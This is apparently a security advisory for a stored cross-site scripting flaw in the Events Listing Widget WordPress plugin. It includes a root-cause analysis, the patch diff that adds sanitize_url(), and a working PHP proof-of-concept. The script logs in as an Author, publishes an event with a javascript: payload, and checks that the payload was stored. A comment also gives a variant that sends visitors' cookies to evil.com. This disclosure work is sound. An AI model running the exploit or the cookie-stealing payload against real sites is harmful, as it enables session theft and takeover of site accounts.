Atomic Edge analysis of CVE-2026-1252:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Events Listing Widget WordPress plugin. The vulnerability exists in the ‘Event URL’ field handling mechanism. Attackers with Author-level permissions or higher can inject malicious scripts that persist in the database and execute when users view affected event pages. The CVSS score of 6.4 reflects the authentication requirement and impact on data confidentiality and integrity.
The root cause is insufficient input sanitization in the plugin’s metadata update function. In the vulnerable version 1.3.4, the code at line 529 in events-listing-widget/events-listing-widget.php directly passes user-supplied input from $_POST[‘events_listing_url’] to the update_post_meta() function without validation. This lack of sanitization allows arbitrary JavaScript payloads to be stored as post metadata. The vulnerability triggers when authenticated users save event data through the WordPress post editor interface.
Exploitation requires an attacker to have an Author account or higher on the target WordPress site. The attacker creates or edits an event post through the standard WordPress admin interface. In the ‘Event URL’ field, the attacker injects a JavaScript payload instead of a legitimate URL. Example payloads include alert(document.cookie) or encoded variants using HTML entities. When any user views the event listing page containing the compromised event, the malicious script executes in their browser context.
The patch adds sanitize_url() function call to the $_POST[‘events_listing_url’] parameter before storing it. The diff shows line 529 changed from update_post_meta($ID, ‘events_listing_url’, $_POST[‘events_listing_url’]) to update_post_meta($ID, ‘events_listing_url’, sanitize_url($_POST[‘events_listing_url’])). This WordPress core function validates the input as a proper URL format and strips dangerous characters. The sanitize_url() function ensures only valid URL schemes are accepted, preventing JavaScript injection while preserving legitimate URL functionality.
Successful exploitation allows attackers to steal session cookies, perform actions as authenticated users, deface websites, or redirect users to malicious sites. Since the XSS is stored, the payload affects all users who view the compromised event listing. Attackers could escalate privileges by stealing administrator cookies or performing CSRF attacks against administrative users. The vulnerability compromises data confidentiality and website integrity.
--- a/events-listing-widget/events-listing-widget.php
+++ b/events-listing-widget/events-listing-widget.php
@@ -3,7 +3,7 @@
Plugin Name: Events Listing Widget
Plugin URI: https://ylefebvre.github.io/wordpress-plugins/events-listing-widget/
Description: Creates a new post type to manage events and a widget to display them chronologically
- Version: 1.3.4
+ Version: 1.3.5
Author: Yannick Lefebvre
Author URI: https://ylefebvre.github.io/
Text Domain: events-listing-widget
@@ -526,7 +526,7 @@
}
if ( ! empty( $_POST['events_listing_url'] ) ) {
- update_post_meta( $ID, 'events_listing_url', $_POST['events_listing_url'] );
+ update_post_meta( $ID, 'events_listing_url', sanitize_url( $_POST['events_listing_url'] ) );
}
if ( isset( $_POST['events_listing_featured'] ) ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1252 - Events Listing Widget <= 1.3.4 - Authenticated (Author+) Stored Cross-Site Scripting via Event URL Field
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_author';
$password = 'author_password';
// Payload to inject into Event URL field
$payload = 'javascript:alert(document.cookie)//';
// Alternative payload: 'javascript:fetch("https://evil.com/steal?c="+document.cookie)'
// Step 1: Authenticate and get WordPress nonce for post creation
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Step 2: Create a new event post to get nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=event');
$response = curl_exec($ch);
// Extract nonce from the page (simplified - real implementation needs proper parsing)
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Submit the event with malicious URL payload
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_type' => 'event',
'post_title' => 'Malicious Event',
'post_content' => 'This event contains XSS payload',
'events_listing_url' => $payload, // Vulnerable parameter
'_wpnonce' => $nonce,
'action' => 'editpost',
'post_status' => 'publish',
'publish' => 'Publish'
]));
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify exploitation by checking if payload persists
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?post_type=event');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$public_page = curl_exec($ch);
curl_close($ch);
if (strpos($public_page, $payload) !== false) {
echo "[+] Exploit successful. Payload injected and stored.n";
echo "[+] Visit $target_url/?post_type=event to trigger XSS.n";
} else {
echo "[-] Exploit may have failed. Check authentication and permissions.n";
}
?>
